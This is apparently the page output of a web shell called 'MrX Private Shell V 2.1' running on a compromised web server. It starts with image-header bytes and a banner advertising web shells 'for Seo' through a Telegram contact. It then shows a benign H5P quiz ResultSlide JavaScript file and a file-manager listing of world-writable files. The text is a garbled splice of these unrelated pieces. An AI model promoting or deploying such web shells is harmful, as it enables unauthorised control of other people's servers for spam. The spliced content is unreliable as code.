����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
var H5P = H5P || {};
H5P.SingleChoiceSet = H5P.SingleChoiceSet || {};
/**
* SingleChoiceResultSlide - Represents the result slide
*/
H5P.SingleChoiceSet.ResultSlide = (function ($, EventDispatcher) {
/**
* @constructor
* @param {number} maxscore Max score
*/
function ResultSlide(maxscore) {
EventDispatcher.call(this);
this.$feedbackContainer = $('<div>', {
'class': 'h5p-sc-feedback-container',
'tabindex': '-1'
});
this.$buttonContainer = $('<div/>', {
'class': 'h5p-sc-button-container'
});
var $resultContainer = $('<div/>', {
'class': 'h5p-sc-result-container'
}).append(this.$feedbackContainer)
.append(this.$buttonContainer);
this.$resultSlide = $('<div>', {
'class': 'h5p-sc-slide h5p-sc-set-results',
'css': {left: (maxscore * 100) + '%'}
}).append($resultContainer);
}
// inherits from EventDispatchers prototype
ResultSlide.prototype = Object.create(EventDispatcher.prototype);
// set the constructor
ResultSlide.prototype.constructor = ResultSlide;
/**
* Focus feedback container.
*/
ResultSlide.prototype.focusScore = function () {
this.$feedbackContainer.focus();
};
/**
* Append the resultslide to a container
*
* @param {jQuery} $container The container
* @return {jQuery} This dom element
*/
ResultSlide.prototype.appendTo = function ($container) {
this.$resultSlide.appendTo($container);
return this.$resultSlide;
};
return ResultSlide;
})(H5P.jQuery, H5P.EventDispatcher);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 53cd3b71707d3dbb705c331e825e28538ef212fc | File | 1.53 KB | 0666 |
|
| 53cdfbe18187fce423d85b422a58816ab178327c | File | 420 B | 0666 |
|